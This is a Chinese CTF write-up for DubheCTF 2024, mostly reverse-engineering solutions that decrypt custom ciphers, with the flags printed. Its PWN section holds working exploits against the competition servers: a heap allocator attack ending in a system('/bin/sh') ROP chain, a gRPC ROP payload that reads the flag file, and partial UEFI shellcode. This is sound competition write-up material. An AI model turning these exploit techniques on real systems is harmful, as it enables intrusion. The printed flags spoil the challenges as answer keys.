2024 DubheCTF writeup by Arr3stY0u
HEADER
CTF组招新联系QQ2944508194,简历需为正式简历格式、请在简历中标注在赛事中的个人产出比,例如:某比赛团队总分2000分,我解出两个crypto共计500分占比25%。
所有方向均有名额,请不要担心投简历被拒等情况,未达标准我们会指出不足之处、给出学习建议。
PS:请野生crypto、web师傅们速来拯救下我们叭!
REVERSE
Destination:
反调试
静态打补丁在函数头部加个ret,过掉反调试。
分析:
触发异常后会按顺序执行两个enc和进入天堂之门。
enc函数里面有花指令,先处理掉。
E8 00 00 00 00 83 04 24 05 C3
0F 84 ?? ?? ?? ?? 0F 85
74 ?? 75 ??
去花后放进ghidra反编译,算法是魔改过的xxtea。
天堂之门有smc,在后面下个断点把shellcode dump出来。
解密
#include <ctype.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
uint32_t g_buf_004234A8[12];
uint32_t g_key_0042309C[4] = {0x6B0E7A6B, 0xD13011EE, 0xA7E12C6D, 0xC199ACA6};
int FUN_004140d7(void) {
uint32_t uVar1;
uint32_t e;
uint32_t _sum;
uint32_t local_3c;
uint32_t i;
int rounds;
rounds = 50;
_sum = 0;
local_3c = g_buf_004234A8[11];
do {
_sum += 0xa4b46062; // 725275428
e = _sum >> 2 & 3;
g_buf_004234A8[11] = local_3c;
for (i = 0; i < 11; i += 1) {
uVar1 = g_buf_004234A8[i + 1];
local_3c = g_buf_004234A8[i] +
((local_3c >> 5 ^ uVar1 << 2) + (uVar1 >> 3 ^ local_3c << 4) ^
(_sum ^ uVar1) + (g_key_0042309C[i & 3 ^ e] ^ local_3c));
g_buf_004234A8[i] = local_3c;
}
local_3c =
g_buf_004234A8[11] +
((local_3c >> 5 ^ g_buf_004234A8[0] << 2) +
(g_buf_004234A8[0] >> 3 ^ local_3c << 4) ^
(_sum ^ g_buf_004234A8[0]) + (g_key_0042309C[i & 3 ^ e] ^ local_3c));
g_buf_004234A8[11] = local_3c;
rounds += -1;
} while (rounds != 0);
return 1;
}
#define DELTA 0xa4b46062
#define MX (((z>>5^y<<2)+(y>>3^z<<4))^((sum^y)+(k[(p&3)^e]^z)))
void xxteadecrypt(uint32_t*v, uint32_t len, uint32_t*k) {
if (len == 0)
return;
uint32_t n = len - 1;
uint32_t z = v[n], y = v[0], p, q = 50, sum = q * DELTA, e;
if (n < 1) {
return;
}
while (sum != 0) {
e = sum >> 2 & 3;
for (p = n; p > 0; p--) {
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n];
y = v[0] -= MX;
sum -= DELTA;
}
}
void shellcode64() {
uint32_t v1; // rsi
for (int i = 0; i != 12; ++i) {
v1 = g_buf_004234A8[i];
for (int j = 0; j != 32; ++j) {
if (v1 >> 31 == 1)
v1 = (2 * v1) ^ 0x84A6972F;
else
v1 *= 2;
}
g_buf_004234A8[i] = v1;
}
}
void inv_shellcode64() {
uint32_t v1; // rsi
for (int i = 0; i != 12; ++i) {
v1 = g_buf_004234A8[i];
for (int j = 0; j != 32; ++j) {
if (v1 & 1) {
v1 ^= 0x84A6972F;
v1 /= 2;
v1 |= 1<<31;
}
else {
v1 /= 2;
}
}
g_buf_004234A8[i] = v1;
}
}
unsigned char enc_flag[48] = {
0xD6, 0xFA, 0x90, 0xA7, 0x77, 0xA2, 0xC8, 0xE8, 0xFA, 0x84, 0x03, 0xCF,
0xD7, 0x7F, 0x6C, 0x2E, 0x8B, 0x96, 0x33, 0x6D, 0x27, 0xC2, 0x57, 0x5B,
0x5E, 0xA6, 0x3C, 0x65, 0xFC, 0xF1, 0xC6, 0x85, 0x77, 0x25, 0xF3, 0xE1,
0x76, 0xAE, 0xD7, 0xD4, 0xC4, 0x6D, 0xAF, 0x3F, 0x8C, 0x9D, 0x59, 0x0D};
int main() {
const char *inp = "111111111111111111111111111111111111111111111";
memcpy(g_buf_004234A8, inp, 45);
FUN_004140d7();
FUN_004140d7();
shellcode64();
// copy enc_flag
memcpy(g_buf_004234A8, enc_flag, 48);
inv_shellcode64();
xxteadecrypt(g_buf_004234A8, 12, g_key_0042309C);
xxteadecrypt(g_buf_004234A8, 12, g_key_0042309C);
printf("%s\n", (const char *)g_buf_004234A8);
// DubheCTF{82e1e3f8-85fe469f-8499dd48-466a9d60}
return 0;
}
VMT:
这题也加了不少反调试,静态打补丁过掉。
输入正确的长度,会在异常处理中替换成正确的秘钥。
过掉反调试后,下断拿到KEY IV CT,之后在赛博厨子里把128位块加密算法都试一遍。
babySTL:
点进crypto_set_key能看到用到了一些数组常量,能查到是blowfish。
/*
blowfish太长不放了
*/
u8 g_enc_flag2[32] = {
0xC4, 0xAA, 0x59, 0x60, 0x06, 0x44, 0xB6, 0xC3, 0x73, 0x81, 0xA3,
0x6F, 0x75, 0x80, 0x7E, 0x56, 0xB5, 0x9D, 0x1F, 0x85, 0xA4, 0x1B,
0xDD, 0x49, 0x5D, 0x26, 0x73, 0x37, 0x0F, 0x5E, 0x6E, 0x54,
};
u32 ROL4(u32 v, u32 s) { return ((v << s) | (v >> (32 - s))) & 0xFFFFFFFF; }
int main() {
struct bf_ctx ctx;
blowfish_setkey(&ctx, "FakeKey", 7);
u8 inp[8] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88};
uint32_t src[2] = {};
// uint32_t src[2] = {0x44332211, 0x88776655};
uint32_t dst[2] = {};
for (int i = 0; i < 32; i += 8) {
memcpy(src, g_enc_flag2 + i, 8);
bf_decrypt(&ctx, dst, src);
hexdump(dst, sizeof(dst));
// printf("0x%08X, 0x%08X, ", dst[0], dst[1]);
}
}
/*
44 75 33 F5 65 03 8D 56 Du3.e..V
7B 8A EB 01 74 5F E9 48 {...t_.H
42 C0 72 E9 5F 90 65 DB B.r._.e.
6F F0 79 BD 33 AD 6D 26 o.y.3.m&
*/
这一轮解密后就能看出来一点flag的影子。
from claripy import *
import struct
enc_flag = [0xC4AA5960, 0x0644B6C3, 0x7381A36F, 0x75807E56, 0xB59D1F85, 0xA41BDD49, 0x5D267337, 0x0F5E6E54]
enc2 = [0xF5337544, 0x568D0365, 0x01EB8A7B, 0x48E95F74, 0xE972C042, 0xDB65905F, 0xBD79F06F, 0x266DAD33,]
# DubheCTF{1111111111111111111111}
tmp = [BVS(f'tmp_{i}', 32) for i in range(8)]
_tmp = tmp[:]
for i in range(8):
tmp[i] ^= tmp[i] << 7
for i in range(8):
tmp[i] ^= tmp[i] << 7
s = Solver()
for i in range(8):
s.add(tmp[i] == enc2[i])
for x in s.batch_eval(_tmp, 4):
b = struct.pack('<8I', *x)
print(b)
# DubheCTF{JuSt_4_B@by_PrOo0b13m!}
# Python>(0x68627544 ^ (0x68627544 << 7))&0xFFFFFFFF
# 0x5958d744
# Python>(0x5958d744 ^ (0x5958d744 << 7))&0xFFFFFFFF
# 0xf5337544
然后我注意到两个verify都有用到相同的算法
for ( i = 0; i < 8; ++i )
v12[i] ^= v12[i] << 7;
然后就出了,挺迷惑的一道题目,理解不了。
cvm?:
vm还有外部调用,用到了twofish的常量,不知道是不是,直接调用没解出来。
下断set_key后把整个ctx dump出来,备用。
解密1
#include <ctype.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h> /* for memset(), memcpy(), and memcmp() */
void hexdump(void *pdata, int size) {
const uint8_t *p = (const uint8_t *)pdata;
int count = size / 16;
int rem = size % 16;
for (int r = 0; r <= count; r++) {
int k = (r == count) ? rem : 16;
if (r)
printf("\n");
for (int i = 0; i < 16; i++) {
if (i < k)
printf("%02X ", p[i]);
else
printf(" ");
}
printf(" ");
for (int i = 0; i < k; i++) {
printf("%c", isprint(p[i]) ? p[i] : '.');
}
p += 0x10;
}
printf("\n");
}
unsigned char tf_ctx_data[4260] = {
/*
太长不放了
*/
};
uint32_t *g_ctx = (uint32_t *)tf_ctx_data;
int64_t sub_2D019(uint32_t *ctx, uint32_t a2) {
return ctx[(uint8_t)(a2 >> 16) + 0x229] ^ ctx[(uint8_t)(a2 >> 8) + 0x129] ^
ctx[(uint8_t)a2 + 0x29] ^ ctx[(uint8_t)(a2 >> 24) + 0x329];
}
uint32_t __ROL4__(uint32_t v, int s) {
return ((v << s) | (v >> (32 - s))) & 0xFFFFFFFF;
}
uint32_t __ROR4__(uint32_t v, int s) {
return ((v >> s) | (v << (32 - s))) & 0xFFFFFFFF;
}
void sub_2C7B0(uint32_t *a1, uint8_t a2, uint32_t a3, int a4, uint32_t *a5,
int *a6) {
int v6; // eax
int v10; // [rsp+34h] [rbp-Ch]
v10 = sub_2D019(a1, a3);
v6 = sub_2D019(a1, __ROL4__(a4, 8));
*a5 = a1[2 * a2 + 9] + v6 + v10;
*a6 = a1[2 * a2 + 10] + v10 + 2 * v6;
}
void encrypt(uint32_t *ctx, uint8_t *pt, uint8_t *ct) {
uint32_t v4; // [rsp+20h] [rbp-30h] BYREF
int v5; // [rsp+24h] [rbp-2Ch] BYREF
uint32_t v6; // [rsp+28h] [rbp-28h]
uint32_t v7; // [rsp+2Ch] [rbp-24h]
uint32_t v8; // [rsp+30h] [rbp-20h]
uint32_t v9; // [rsp+34h] [rbp-1Ch]
int i; // [rsp+38h] [rbp-18h]
int j; // [rsp+3Ch] [rbp-14h]
uint32_t v12; // [rsp+40h] [rbp-10h]
uint32_t v13; // [rsp+44h] [rbp-Ch]
v6 = ctx[1] ^ ((*((uint8_t *)pt + 2) << 16) | *(uint16_t *)pt |
(*((uint8_t *)pt + 3) << 24));
v7 = ctx[2] ^ ((*((uint8_t *)pt + 6) << 16) | *((uint16_t *)pt + 2) |
(*((uint8_t *)pt + 7) << 24));
v8 = ctx[3] ^ ((*((uint8_t *)pt + 10) << 16) | *((uint16_t *)pt + 4) |
(*((uint8_t *)pt + 11) << 24));
v9 = ctx[4] ^ ((*((uint8_t *)pt + 14) << 16) | *((uint16_t *)pt + 6) |
(*((uint8_t *)pt + 15) << 24));
//printf("%08x %08x %08x %08x\n", v6, v7, v8, v9);
for (i = 0; i <= 15; ++i) {
sub_2C7B0(ctx, i, v6, v7, &v4, &v5);
v12 = __ROR4__(v8 ^ v4, 1);
v13 = __ROL4__(v9, 1) ^ v5;
v8 = v6;
v9 = v7;
v6 = v12;
v7 = v13;
}
// printf("%08x %08x %08x %08x\n", v6, v7, v8, v9);
v12 = v6;
v13 = v7;
v6 = v8 ^ ctx[5];
v7 = v9 ^ ctx[6];
v8 = v12 ^ ctx[7];
v9 = v13 ^ ctx[8];
for (j = 0; j <= 3; ++j) {
ct[j] = v6 >> (8 * j);
ct[j + 4] = v7 >> (8 * j);
ct[j + 8] = v8 >> (8 * j);
ct[j + 12] = v9 >> (8 * j);
}
}
void decrypt(uint32_t *ctx, uint8_t *ct, uint8_t *pt) {
uint32_t v4; // [rsp+20h] [rbp-30h] BYREF
int v5; // [rsp+24h] [rbp-2Ch] BYREF
uint32_t v6 = 0; // [rsp+28h] [rbp-28h]
uint32_t v7 = 0; // [rsp+2Ch] [rbp-24h]
uint32_t v8 = 0; // [rsp+30h] [rbp-20h]
uint32_t v9 = 0; // [rsp+34h] [rbp-1Ch]
uint32_t v12; // [rsp+40h] [rbp-10h]
uint32_t v13; // [rsp+44h] [rbp-Ch]
for (int j = 0; j <= 3; ++j) {
v6 |= ct[j] << (8 * j);
v7 |= ct[j + 4] << (8 * j);
v8 |= ct[j + 8] << (8 * j);
v9 |= ct[j + 12] << (8 * j);
}
v13 = v9 ^ ctx[8];
v12 = v8 ^ ctx[7];
v9 = v7 ^ ctx[6];
v8 = v6 ^ ctx[5];
v6 = v12;
v7 = v13;
// printf("%08x %08x %08x %08x\n", v6, v7, v8, v9);
for (int i = 15; i >= 0; i--) {
v13 = v7;
v12 = v6;
v7 = v9;
v6 = v8;
sub_2C7B0(ctx, i, v6, v7, &v4, &v5);
v9 = __ROR4__(v13 ^ v5, 1);
v8 = __ROL4__(v12, 1) ^ v4;
}
// printf("%08x %08x %08x %08x\n", v6, v7, v8, v9);
v6 ^= ctx[1];
v7 ^= ctx[2];
v8 ^= ctx[3];
v9 ^= ctx[4];
for (int j = 0; j <= 3; ++j) {
pt[j] = v6 >> (8 * j);
pt[j + 4] = v7 >> (8 * j);
pt[j + 8] = v8 >> (8 * j);
pt[j + 12] = v9 >> (8 * j);
}
}
int main() {
unsigned char key[16] = {0x43, 0x59, 0xAC, 0x3C, 0x17, 0x98, 0x41, 0x59,
0xD6, 0x2B, 0x70, 0x85, 0xC8, 0x0E, 0x4D, 0xDF};
unsigned char enc[16] = {0x63, 0x8F, 0x2F, 0x2D, 0xC0, 0xA3, 0x43, 0xD1,
0x4B, 0x95, 0xDA, 0x54, 0xDD, 0xCE, 0xA7, 0xC5};
unsigned char pt[16] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x00};
unsigned char tmp[16] = {0x63, 0x8F, 0x2F, 0x2D, 0xC0, 0xA3, 0x43, 0xD1,
0x4B, 0x95, 0xDA, 0x54, 0xDD, 0xCE, 0xA7, 0xC5};
unsigned char enc_flag[32] = {
0x7A, 0x2C, 0xB7, 0x06, 0x48, 0x90, 0x68, 0x55, 0xC4, 0xFC, 0x12, 0x6E, 0x5C, 0xFE, 0x2B, 0x96,
0x04, 0x10, 0x3C, 0x8D, 0xBC, 0xD5, 0xEC, 0x77, 0xA6, 0xEA, 0xCF, 0x40, 0xF2, 0xFA, 0xD7, 0x14
};
decrypt(g_ctx, enc_flag, tmp);
hexdump(tmp, sizeof(tmp));
decrypt(g_ctx, enc_flag+0x10, tmp);
hexdump(tmp, sizeof(tmp));
}
3C 68 9E 74 6D 06 6E B6 36 36 08 0B 5E DD BA 42 <h.tm.n.66..^..B
85 46 B9 10 04 24 B3 F4 F4 E6 A5 D1 B7 61 2B 32 .F...$.......a+2
解密2
#include <ctype.h>
#include <memory.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void hexdump(void *pdata, int size) {
const uint8_t *p = (const uint8_t *)pdata;
int count = size / 16;
int rem = size % 16;
for (int r = 0; r <= count; r++) {
int k = (r == count) ? rem : 16;
if (r)
printf("\n");
for (int i = 0; i < 16; i++) {
if (i < k)
printf("%02X ", p[i]);
else
printf(" ");
}
printf(" ");
for (int i = 0; i < k; i++) {
printf("%c", isprint(p[i]) ? p[i] : '.');
}
p += 0x10;
}
printf("\n");
}
uint32_t KEY[4] = {
0xcafebabe,
0x7889abbc,
0xdeadbeef,
0x12234556,
};
void encrypt(uint32_t *v) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i;
uint32_t delta = 0x236e475a;
for (i = 0; i < 16; i++) {
sum += delta;
v0 += ((v1 << 4) + KEY[0]) ^ (v1 + sum) ^ (((int32_t)v1 / 32) + KEY[1]);
v0 += 0xcccccccc;
v0 = ~v0;
v1 += ((v0 << 4) + KEY[2]) ^ (v0 + sum) ^ (((int32_t)v0 / 32) + KEY[3]);
v1 += 0xdddddddd;
v1 = ~v1;
}
v[0] = v0;
v[1] = v1;
}
void decrypt(uint32_t *v) {
uint32_t delta = 0x236e475a;
uint32_t v0 = v[0], v1 = v[1], sum = delta * 16, i;
for (i = 0; i < 16; i++) {
v1 = ~v1;
v1 -= 0xdddddddd;
v1 -= ((v0 << 4) + KEY[2]) ^ (v0 + sum) ^ (((int32_t)v0 / 32) + KEY[3]);
v0 = ~v0;
v0 -= 0xcccccccc;
v0 -= ((v1 << 4) + KEY[0]) ^ (v1 + sum) ^ (((int32_t)v1 / 32) + KEY[1]);
sum -= delta;
}
v[0] = v0;
v[1] = v1;
}
unsigned char enc_flag1[32] = {0x7A, 0x2C, 0xB7, 0x06, 0x48, 0x90, 0x68, 0x55,
0xC4, 0xFC, 0x12, 0x6E, 0x5C, 0xFE, 0x2B, 0x96,
0x04, 0x10, 0x3C, 0x8D, 0xBC, 0xD5, 0xEC, 0x77,
0xA6, 0xEA, 0xCF, 0x40, 0xF2, 0xFA, 0xD7, 0x14};
unsigned char enc_flag2[32] = {0x3C, 0x68, 0x9E, 0x74, 0x6D, 0x06, 0x6E, 0xB6,
0x36, 0x36, 0x08, 0x0B, 0x5E, 0xDD, 0xBA, 0x42,
0x85, 0x46, 0xB9, 0x10, 0x04, 0x24, 0xB3, 0xF4,
0xF4, 0xE6, 0xA5, 0xD1, 0xB7, 0x61, 0x2B, 0x32};
int main() {
uint8_t *inp = (uint8_t *)"00112233445566778899aabbccddeeff";
uint8_t outbuf[32 + 1] = {};
for (int i = 0; i < 32; i += 8) {
uint32_t v[2];
memcpy(v, &enc_flag2[i], 8);
decrypt(v);
memcpy(&outbuf[i], v, 8);
}
printf("DubheCTF{%s}\n", outbuf);
// DubheCTF{ca7b970a41062a2c41f4c016e7637f46}
}
fffffragment:
使用jadx导出源码。
'''
start: C0106Oo0o0
end: ch0
wrong: eh0
'''
import os
import re
import win32api
import win32con
import time
def simulate_click(x, y):
win32api.SetCursorPos((x, y))
win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, x, y, 0, 0)
time.sleep(0.1)
win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, x, y, 0, 0)
time.sleep(0.1)
def parse(filename):
# class a extends Fragment
# , os.class,
source_code = open(filename, 'rb').read().decode()
name = re.findall(r'class ([a-zA-Z0-9]+) extends Fragment \{', source_code)
if not name:
return
name = name[0]
# next_nodes = re.findall(r', ([a-zA-Z0-9]+)\.class,', source_code)
# print(filename)
functions = []
on_click = []
call = {}
func2node = {}
for func_src in source_code.split('public '):
if 'void ' in func_src and 'super' not in func_src:
func_name = re.findall(r'void ([a-zA-Z0-9]+)\(', func_src)[0]
if func_name in ['d', 'e']:
callee = re.findall(r' ([a-zA-Z0-9]+)\(', func_src)[-1]
print(f'{func_name} -> {callee}')
call[func_name] = callee
if func_name in ['f', 'g']:
node = re.findall(r', ([a-zA-Z0-9]+)\.class,', func_src)
assert len(node) == 1
func2node[func_name] = node[0]
if func_name == 'onClick':
callee = re.findall(
r' '+name+'.'+r'([a-zA-Z0-9]+)\('+name, func_src)[-1]
print(f'{func_name} -> {callee}')
on_click.append(callee)
functions.append(func_src)
order_nodes = []
if on_click:
for i in range(len(on_click)):
to = on_click[i]
if to in call:
to = call[to]
if to in func2node:
order_nodes.append(func2node[to])
return name, order_nodes
game_maps = {}
for root, dirs, files in os.walk(r".\fragment_sources"):
for filename in files:
if not filename.endswith('.java'):
continue
fullpath = os.path.join(root, filename)
res = parse(fullpath)
if not res:
continue
name, next_nodes = res
if name in game_maps:
assert False
game_maps[name] = next_nodes
def dfs(current_node, path: list, path_choose: str):
nodes = game_maps[current_node]
if len(nodes) == 2 and len(set(nodes)) == 1:
return
choose = ['L', 'R']
for i, node in enumerate(nodes):
if node == 'eh0':
print('got!', path)
print(path_choose)
path_choose += 'L'
print('电子木鱼启动!')
time.sleep(2)
for j, _ch in enumerate(path_choose):
print('click:', j, _ch)
if _ch == 'L':
simulate_click(610, 570)
else:
simulate_click(1280, 570)
exit(0)
if node not in path:
dfs(node, path + [node], path_choose+choose[i])
dfs('C0106Oo0o0', [], "")
# flag:
# DubheCTF{20c21afe96f05b02430a017a550bfce5addb6fe2}
ezVK:
#version 450
layout(local_size_x = 1, local_size_y = 1, local_size_z = 1) in;
const uint _80[5] = uint[](1214346853u, 558265710u, 559376756u, 1747010677u, 1651008801u);
layout(binding = 0, std430) buffer V
{
uint v[];
} _23;
void main()
{
uint cnt = gl_GlobalInvocationID.x * 2u;
uint sum = 0u;
uint l = _23.v[cnt];
uint r = _23.v[cnt + 1u];
for (int i = 1; i <= 40; i++)
{
l += ((((((~(r << 3)) & (r >> 5)) | ((r << 3) & (~(r >> 5)))) ^ (~r)) & ((r << 3) ^ (r >> 5))) ^ ((~((~(sum + _80[sum & 4u])) | (~((r >> 3) & (r << 2))))) & (l | (~l))));
sum += 1932555628u; // 0x7330756c
r += ((((((~(l << 3)) & (l >> 5)) | ((l << 3) & (~(l >> 5)))) ^ (~l)) & ((l << 3) ^ (l >> 5))) ^ ((~((~(sum + _80[(sum >> (11)) & 4u])) | (~((l >> 3) & (l << 2))))) & (r | (~r))));
}
_23.v[cnt] = l;
_23.v[cnt + 1u] = r;
}
EZVK: Khronos SPIR-V binary, little-endian, version 0x010000, generator 0x08000b
队友从资源文件中提取出来EZVK,并反编译了。(Khronos SPIR-V binary)
之后我接力解密flag。
#include <ctype.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
uint32_t enc_flag[12] = {0x185B72AF, 0x0631D2C6, 0xDE8B33CC, 0x31EBCD9F,
0x05DB8B33, 0x0A8D77D0, 0x865C6111, 0xBF032335,
0x722228A5, 0xAD833A57, 0xB7C3456F, 0};
uint32_t key[] = {1214346853, 558265710, 559376756, 1747010677, 1651008801};
#define ROUNDS 40
#define DELTA 0x7330756c
void xtea_decipher(uint32_t v[2], uint32_t const key[4]) {
const unsigned int num_rounds = ROUNDS;
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = DELTA, sum = delta * num_rounds;
uint32_t l = v0, r = v1;
for (i = 0; i < ROUNDS; i++) {
r -= ((((((~(l << 3)) & (l >> 5)) | ((l << 3) & (~(l >> 5)))) ^ (~l)) &
((l << 3) ^ (l >> 5))) ^
((~((~(sum + key[(sum >> (11)) & 4u])) | (~((l >> 3) & (l << 2))))) &
(r | (~r))));
sum -= 1932555628;
l -= ((((((~(r << 3)) & (r >> 5)) | ((r << 3) & (~(r >> 5)))) ^ (~r)) &
((r << 3) ^ (r >> 5))) ^
((~((~(sum + key[sum & 4u])) | (~((r >> 3) & (r << 2))))) &
(l | (~l))));
}
v0 = l;
v1 = r;
v[0] = v0;
v[1] = v1;
}
void xtea_encipher(uint32_t v[2], uint32_t const key[4]) {
const unsigned int num_rounds = ROUNDS;
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = DELTA, sum = 0;
uint32_t l = v0, r = v1;
for (i = 0; i < ROUNDS; i++) {
l += ((((((~(r << 3)) & (r >> 5)) | ((r << 3) & (~(r >> 5)))) ^ (~r)) &
((r << 3) ^ (r >> 5))) ^
((~((~(sum + key[sum & 4u])) | (~((r >> 3) & (r << 2))))) &
(l | (~l))));
sum += 1932555628;
r += ((((((~(l << 3)) & (l >> 5)) | ((l << 3) & (~(l >> 5)))) ^ (~l)) &
((l << 3) ^ (l >> 5))) ^
((~((~(sum + key[(sum >> (11)) & 4u])) | (~((l >> 3) & (l << 2))))) &
(r | (~r))));
}
v0 = l;
v1 = r;
v[0] = v0;
v[1] = v1;
}
int main() {
// 0xB7C3456F
for (int i = 0; i < 10; i += 2) {
xtea_decipher(&enc_flag[i], key);
}
printf("%s\n", (char *)enc_flag);
}
// DubheCTF{Go0Od!!!You_4re_Vu1k@N_Mast3r^^?}
// 解密后还少两个字符,结尾的大括号是确定的,剩下的一个字符挨个尝试。
// DubheCTF{Go0Od!!!You_4re_Vu1k@N_Mast3r^^_}
moon:
解密
from gmpy2 import invert, mpz
from Crypto.Util.number import long_to_bytes, bytes_to_long
from itertools import combinations
p = 1
q = 1537131588382913092665966115381275601741897676956736016043055688971156548045659189201332511868437849089
n = p*q
e = 1537131588382913092665966115381275601741897676956736016043055688971156548045659189201332511868437849087
e2 = 750552533390094283528303767276013477413035975076531257833523285630447533225419525977213140560760669
z = 535687859422589012977141675826129236269925277717894712488225104574807190354008307256942078237560832125
d = invert(e, (-1)*(q-1))
assert d == e # lol
d2 = invert(e2, (-1)*(q-1))
def chall_enc(inp):
s1 = pow(inp, e, n)
s2 = pow(inp, e2, n)
# print(s2)
for i in range(9):
if (res := pow(s1 * s2 * s2 % q, 2**(8-i), n)) != 1:
if len(str(res)) != 103:
return
s2 = s2 * pow(z, 2**i, n) % q
return s2
# inp = 1234
# assert len(str(inp)) <= 100
# print(str(inp).rjust(100, '0'))
# s2 = chall_enc(inp)
def test(c, s):
for i in s:
c = c*invert(pow(z, 2**i, n), q) % q
return pow(c, d2, n)
from hashlib import md5
enc_flag = 885929268745208437773737031796868079277836491798608104263226417228443603006843430266722004055919359990
c = enc_flag
for j in range(9):
for i in combinations(range(9), j+1):
m = test(c, i)
if chall_enc(m) == c:
flag = str(m).rjust(100, '0')
print('good', flag)
# DubheCTF{md5_32_lower(input)}
print('DubheCTF{'+md5(str(flag).encode()).hexdigest()+'}')
PWN
Buggyallocator:
在add函数中有一个get_size函数
通过size是否大于0x80对堆块进行分类
在自定义的fastbin管理器中,并没有对堆块进行合法性检测,因此可以事先在堆块上伪造数据,使其链入堆链表,从而达到任意地址申请写。然后打stdout泄露libc和environ劫持返回地址即可。
exp:
from pwn import *
# r=process('./pwn')
r=remote('1.95.11.97',9999)
elf=ELF('./pwn')
libc=elf.libc
stdout = 0x404040
def add(idx,size,content):
r.sendlineafter("> ",'1')
r.sendlineafter("idx: ",str(idx))
r.sendlineafter("size: ",str(size))
r.sendafter("Content: ",content)
def delete(idx):
r.sendlineafter("> ",'2')
r.sendlineafter("idx: ",str(idx))
add(0,0x280,p64(0x404450)*0x28)
delete(0)
add(0,0x10,'a')
for i in range(0x13):
add(i+1,0x10,'a')
payload = p64(stdout) + p64(0x404430)
add(20,0x10,payload)
add(21,0x38,'\x80')#bss->stdout
payload = p64(0xfbad1800)+p64(0)*3+p64(0x404040)+p64(0x404410)
add(22,0x38,payload)#stdout
libc_base = u64(r.recv(6).ljust(8,b'\x00')) - 0x21b780
print("libc_base--------->",hex(libc_base))
environ = libc_base + libc.sym['environ']
pop_rdi = libc_base + 0x000000000002a3e5#: pop rdi; ret;
system = libc_base + libc.sym['system']
r.recv(0x400-0x40+2)
heap_base = u64(r.recv(4).ljust(8,b'\x00')) - 0x12000+0x10
print("heap_base-------->",hex(heap_base))
delete(22)
payload = p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+8)
add(22,0x38,payload)#stdout
stack = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x148
print("stack---------->",hex(stack))
add(23,0x40,p64(0)*7+p64(stack))#50->stack
payload = b'/bin/sh\x00'+p64(pop_rdi+1)+p64(pop_rdi)+p64(stack)+p64(system)
add(24,0x50,payload)#stack
r.interactive()
ggbond:
pb
pbtk提取protobuf
syntax = "proto3";
package GGBond;
option go_package = "./;ggbond";
service GGBondServer {
rpc Handler(Request) returns (Response);
}
message Request {
oneof request {
WhoamiRequest whoami = 100;
RoleChangeRequest role_change = 101;
RepeaterRequest repeater = 102;
}
}
message Response {
oneof response {
WhoamiResponse whoami = 200;
RoleChangeResponse role_change = 201;
RepeaterResponse repeater = 202;
ErrorResponse error = 444;
}
}
message WhoamiRequest {
}
message WhoamiResponse {
string message = 2000;
}
message RoleChangeRequest {
uint32 role = 1001;
}
message RoleChangeResponse {
string message = 2001;
}
message RepeaterRequest {
string message = 1002;
}
message RepeaterResponse {
string message = 2002;
}
message ErrorResponse {
string message = 4444;
}
exp:
import asyncio
from ggbond_grpc import GGBondServerStub
from ggbond_pb2 import *
from grpclib.client import Channel
from base64 import b64encode
from pwn import *
async def main() -> None:
# Channel("localhost", 23334)
async with Channel('1.95.2.225', 36273) as channel:
print('start')
stub = GGBondServerStub(channel)
resp = await stub.Handler(Request(whoami=WhoamiRequest()))
print(resp)
resp = await stub.Handler(Request(role_change=RoleChangeRequest(role=3)))
print(resp)
# b *0x7EDEFD
flag = 0x7EF68D # 'flag\x00'
inf_loop = 0x43611A
_open = 0x469E60
_write0 = 0x46B180
_read = 0x469EE0
payload = b'\x00'*0xc8
payload += p64(_open)
payload += p64(0x46B1B7) # add rsp, 0x20
payload += p64(flag)
payload += p64(0)
payload += p64(0)
payload += p64(0) # res fd
payload += p64(_read)
payload += p64(0x46B1B7) # add rsp, 0x20
payload += p64(8) # fd
payload += p64(0xC123A0) # buf
payload += p64(0x20) # count
payload += p64(0) # res
if 0: # 读后半段flag用
payload += p64(_read)
payload += p64(0x46B1B7) # add rsp, 0x20
payload += p64(8) # fd
payload += p64(0xC123A0) # buf
payload += p64(0x20) # count
payload += p64(0) # res
# memcopy(0xC59670, 0x4001A8, &9 (0x7FA768))
payload += p64(0x407F8F)
payload += p64(0x46B1B7) # add rsp, 0x20
payload += p64(0x08)
payload += p64(0x10)
payload += p64(0x18)
payload += p64(0xC59670) # dst
payload += p64(0x28)
payload += p64(inf_loop) # next ret
payload += p64(0x7FA768) # p_size
payload += p64(0x40)
payload += p64(0x4001A8) # src
payload += p64(inf_loop)
resp = await stub.Handler(Request(repeater=RepeaterRequest(message=b64encode(payload).decode())))
print(resp)
if __name__ == "__main__":
asyncio.run(main())
'''
message: "I\'m DubheCTF{G00dGol@ng_GooDG@dg3T_G"
message: "I\'m gBo0o0o0ond}dGol@ng_GooDG@dg3T_G"
DubheCTF{G00dGol@ng_GooDG@dg3T_GgBo0o0o0ond}
'''
第一次运行读取flag到data段,第二次运行走whoami拿到flag。
直接放exp吧,远程不怎么好打。
ToySMM:
exp:
import os
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import *
context(arch='amd64')
# conn = process('./run.sh')
conn = remote('1.95.0.62', 9999)
conn.recvuntil(b'Valid EFI Header at Address ')
system_table = int(conn.recvline(), 16)
log.info('SystemTable @ 0x%x', system_table)
conn.recvline()
code = asm(f'''
mov rax, {system_table}
mov rax, qword ptr [rax + 96] /* SystemTable->BootServices */
mov rbx, qword ptr [rax + 64] /* BootServices->AllocatePool */
mov rcx, qword ptr [rax + 320] /* BootServices->LocateProtocol */
''')
conn.sendline(code.hex().encode() + b'\nDONE')
conn.recvuntil(b'RBX: 0x')
AllocatePool = int(conn.recvn(16), 16) # useful for later
conn.recvuntil(b'RCX: 0x')
LocateProtocol = int(conn.recvn(16), 16)
